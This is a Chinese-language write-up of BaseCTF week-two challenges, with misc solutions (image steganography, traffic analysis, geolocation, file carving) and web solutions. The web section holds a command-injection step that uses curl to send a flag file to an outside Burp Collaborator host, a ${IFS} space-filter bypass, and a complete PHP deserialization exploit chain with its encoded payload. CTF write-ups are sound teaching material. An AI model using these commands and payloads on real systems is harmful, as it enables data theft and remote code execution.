BaseCTF-week2-wp

BaseCTF比赛week2-wp

Misc

[Week2] 黑丝上的flag

考点:图片隐写

打开是一张嗨咝图。根据题目意思,flag应该在黑丝上。放进StegSolve看看,找到了flag。

image-20240823125446281

image-20240823121833011

image-20240823122015855

[Week2] Base?!

考点:简单的base

下载附件打开,解码出现flag。

image-20240823125548236

image-20240823125624311

[Week2] 海上又遇了鲨鱼

考点:流量分析

将附件用wireshark打开,发现了关键词flag.zip。

image-20240823125804797

追踪流查看,发现有个登录的password,估计需要,先记下来

image-20240823130203939

将此文件提取下载出来,解压,密码就是上面的password,找到flag。

image-20240823130057568

image-20240823130127445

[Week2] Aura 酱的旅行日记 I <图寻擂台>

考点:图片查地址

image-20240823132107042

搜索关键词-恐龙化石,博物馆。找到相似的图。

image-20240823132200529

找到地址信息,就是flag。

image-20240823132300257

[Week2] 前辈什么的最喜欢了

考点:base64

下载附件,一大串vase64编码,解码找到flag。

image-20240823133444346

image-20240823133312396

[Week2] Aura 酱的旅行日记 III <图寻擂台>

考点:图片信息,查地址

image-20240823175518325

根据图片gps经纬度信息,算出经度纬度。

计算方式:原经纬度 = 度 + (分/60) + (秒/3600)
根据这张图片的经纬度,计算如下:(一般西经是加负号)

纬度:29;40;18.4799999999957265;
经度:102;57;46.7.72200000000864861.

计算得到:

纬度 = 29.67179999999999881
经度 = 102.9521450000000024

最后用地图找到大致位置,找一下附近的风景区,其名字就是flag。

[Week2] 反方向的雪

考点:文件分离,二进制逆序,空白格隐写,压缩包密码破解

下载附件解压,发现是一张图片,扔进010editor发现末尾加了其他文件。

image-20240823191853055

将这一部分提取出来,如果逆序,发现就是个zip文件(“反方向”的雪)

需要密码,下面有个提示,但是却不是这个地方的密码。扔进解压工具爆破。

image-20240823191636716

image-20240823191728509

爆破出密码,解压打开发现是空白格隐藏,用到SNOW工具。

image-20240823191602570

上面提示的密码是SNOW工具这里用的。(反方向的“雪”)

拿到flag。

image-20240823191542299

[Week2] 哇!珍德食泥鸭

考点:文件分离

下载附件,打开是gif动图。

丢尽010editor,发现了一个压缩包

image-20240823235133035

将压缩包提取出来。在其中一个网页文件发现了flag。

image-20240823235221031

image-20240823235250738

[Week2] Aura 酱的旅行日记 IV <图寻擂台>

考点:图寻

根据图片信息,搜索关键词:二龙戏珠。然后对比图,发现地点在江苏省南京市秦淮区贡院街夫子庙景区,也是本题的flag。

[Week2] Aura 酱的旅行日记 V <图寻擂台>

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

这位伟人的铜像照,很快联想到邓小平故居。其地址就是flag。

BaseCTF{四川省广安市广安区邓小平故里-邓小平铜像广场and邓小平故居陈列馆}

[Week2] Aura 酱的旅行日记 VI <图寻擂台>

一所学校,看到关键词-迎泽。搜索一下,找到了一张相似图片,是太原市第五中学。

BaseCTF{山西省太原市迎泽区青年路49号太原市第五中学校-建校时间1906年}

web

[Week2] 一起吃豆豆

考点:控制台源码分析

打开时j5做的小游戏,直接查看脚本,找到控制游戏结束的位置,发现一串base64编码,解码得到flag。

image-20240823154153145

image-20240823154132273

[Week2] 你听不到我的声音

考点:shell_exec()无回显函数(见笔记)

image-20240823170508632

shell_exec()是函数执行命令,但是这个地方无法回显。

先将执行命令后的结果用一个文件保存,之后再读取这个文件就行了。

先传入:

cmd=cat /f* > 2.txt

再粘贴burp里Collaborator里获取的payload。

image-20240823170736727

cmd=curl -X POST -F xx=@2.txt http://n8w9fjwqhuqrvdodcvrfwstrui09o0poe.oastify.com

之后提取到2.txt文件就能得到flag。

image-20240823171025594

[Week2] RCEisamazingwithspace

考点:空白符号过滤

用${IFS}过滤空白符就行。

image-20240823181157674

[Week2] ez_ser

考点:简单的反序列化

<?php
highlight_file(__FILE__);
error_reporting(0);

class re{
    public $chu0;
    public function __toString(){
        if(!isset($this->chu0)){
            return "I can not believes!";
        }
        $this->chu0->$nononono;
    }
}

class web {
    public $kw;
    public $dt;

    public function __wakeup() {
        echo "lalalla".$this->kw;
    }

    public function __destruct() {
        echo "ALL Done!";
    }
}

class pwn {
    public $dusk;
    public $over;

    public function __get($name) {
        if($this->dusk != "gods"){
            echo "什么,你竟敢不认可?";
        }
        $this->over->getflag();
    }
}

class Misc {
    public $nothing;
    public $flag;

    public function getflag() {
        eval("system('cat /flag');");
    }
}

class Crypto {
    public function __wakeup() {
        echo "happy happy happy!";
    }

    public function getflag() {
        echo "you are over!";
    }
}
$ser = $_GET['ser'];
unserialize($ser);
?> 

分析一下,看到了__wakeup()函数,所以就使用它这条链了。

new web() -> new re() -> new pwn() -> new Misc()

构造如下:

<?php
class re{
    public $chu0;
    public function __toString(){
        if(!isset($this->chu0)){
            return "I can not believes!";
        }
        $this->chu0->$nonono;
    }
}

class web {
    public $kw;
    public $dt;

    public function __wakeup() {
        echo "lalalla".$this->kw;
    }

    public function __destruct() {
        echo "ALL Done!";
    }
}

class pwn {
    public $dusk;
    public $over;

    public function __get($name) {
        if($this->dusk != "gods"){
            echo "什么,你竟敢不认可?";
        }
        $this->over->getflag();
    }
}

class Misc {
    public $nothing;
    public $flag;

    public function getflag() {
        eval("system('cat /flag');");
    }
}

class Crypto {
    public function __wakeup() {
        echo "happy happy happy!";
    }

    public function getflag() {
        echo "you are over!";
    }
} 
$a = new web();
$a->kw = new re();
$a->kw->chu0 = new pwn();
$a->kw->chu0->dusk = "gods";
$a->kw->chu0->over = new Misc();
echo urlencode(serialize($a));
?>
//O%3A3%3A%22web%22%3A2%3A%7Bs%3A2%3A%22kw%22%3BO%3A2%3A%22re%22%3A1%3A%7Bs%3A4%3A%22chu0%22%3BO%3A3%3A%22pwn%22%3A2%3A%7Bs%3A4%3A%22dusk%22%3Bs%3A4%3A%22gods%22%3Bs%3A4%3A%22over%22%3BO%3A4%3A%22Misc%22%3A2%3A%7Bs%3A7%3A%22nothing%22%3BN%3Bs%3A4%3A%22flag%22%3BN%3B%7D%7D%7Ds%3A2%3A%22dt%22%3BN%3B%7DALL Done!

传进去得到flag。

image-20240823221539045

  • 11
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

梦 & 醒

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值